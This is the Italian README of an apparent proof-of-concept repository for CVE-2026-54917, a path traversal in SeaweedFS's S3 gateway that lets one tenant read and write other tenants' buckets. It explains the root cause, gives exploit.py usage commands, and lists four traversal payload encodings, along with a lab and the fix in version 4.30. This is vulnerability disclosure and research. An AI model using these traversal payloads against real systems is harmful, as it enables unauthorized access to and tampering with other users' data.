
PoC + analisi per CVE-2026-54917 — path traversal tra bucket nel gateway S3 di SeaweedFS (CVSS 10.0, <4.30). Lettura/scrittura di qualsiasi bucket tramite .. nella chiave dell'oggetto.
Proof-of-concept e analisi tecnica per CVE-2026-54917, un path traversal nel gateway API S3 di SeaweedFS che consente a un chiamante di accedere a oggetti in qualsiasi bucket, indipendentemente da ciò per cui le sue credenziali sono autorizzate.
| CVE | CVE-2026-54917 |
| Avviso | GHSA-w62w-66v9-vvgv |
| Prodotto | SeaweedFS — gateway API S3 (weed s3 e endpoint S3 in weed server) |
| Versioni interessate | < 4.30 |
| Correzione | 4.30 |
| Debolezza | CWE-22 — Limitazione impropria di un pathname a una directory ristretta |
| Gravità | 10.0 Critico — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Stato | CONFERMATO VULNERABILE su 4.29 · CORRETTO su 4.30 (verificato end-to-end) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
Il router dell'API S3 è costruito con mux.NewRouter().SkipClean(true). Con la
pulizia del percorso disabilitata, un segmento .. all'interno del percorso della
richiesta sopravvive al routing.
Una richiesta come:
GET /bucket-a/../evil-bucket/secret.txt
viene associata dalla route mux come {bucket} = "bucket-a",
{object} = "../evil-bucket/secret.txt".
A questo punto due cose divergono:
{bucket} — bucket-a — che
il chiamante è autorizzato a usare.bucketDir(bucket) + "/" + object)
e il filer risolve i .. lato server, quindi la lettura/scrittura finisce
effettivamente in evil-bucket.Il risultato è un classico confused deputy: IAM controlla un bucket, il filesystem opera su un altro. Un principal autorizzato per un solo bucket può leggere e scrivere oggetti in ogni altro bucket dell'istanza.
enableAuth = false — lettura/scrittura cross-bucket diretta e non autenticata.enableAuth = true — confused deputy nell'autorizzazione: qualsiasi principal
autenticato (qualsiasi tenant) legge e scrive oltre i confini dei bucket per cui non
ha alcuna autorizzazione. È il caso dimostrato qui e il motivo del punteggio 10.0 /
scope cambiato: la credenziale di un tenant rompe l'isolamento di tutti gli altri.exploit.py usa solo la libreria standard di Python. Firma ogni richiesta con
SigV4 da solo e scrive la riga di richiesta byte per byte, così il percorso di
traversal arriva al server senza modifiche — è questo che rende possibili le varianti
URL-encoded che un normale SDK S3 riscriverebbe.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Quattro codifiche di traversal sono implementate e tutte confermate su 4.29:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
Il lab abilita IAM (lab/s3.json) con due identità: admin (accesso completo) e
tenant-a (limitato a bucket-a). Tutto lo sfruttamento usa solo la credenziale di
tenant-a. Vedi EVIDENCE.txt per la trascrizione completa.
Vedi ANALYSIS.md. In breve: SkipClean(true) mantiene i .. nel
percorso instradato; GetBucketAndObject cattura le variabili mux grezze; IAM
autorizza in base a {bucket}; toFilerPath concatena {object} (che contiene
ancora ..) nel percorso del filer, dove viene risolto e attraversa il confine
del bucket.
Corretto in 4.30 (patch-4.30.diff). Un middleware
validateRequestPath viene eseguito prima degli handler dei bucket e rifiuta qualsiasi
variabile {bucket} / {object} catturata che sia vuota o contenga un segmento di
traversal, restituendo 400 InvalidRequest. Aggiorna a 4.30 o successiva.
/../, /%2e%2e, ..%2f o ..%5c
tra il segmento del bucket e la chiave.Caio Fabrício — github.com/BiiTts
| variante | nella richiesta | effetto |
|---|
dotdot | /bucket-a/../evil-bucket/key | funziona anche con aws-cli standard |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | richiede richiesta grezza (l'SDK la ri-codifica) |
enc-slash | /bucket-a/..%2fevil-bucket/key | richiede richiesta grezza |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ viene convertito in / lato server |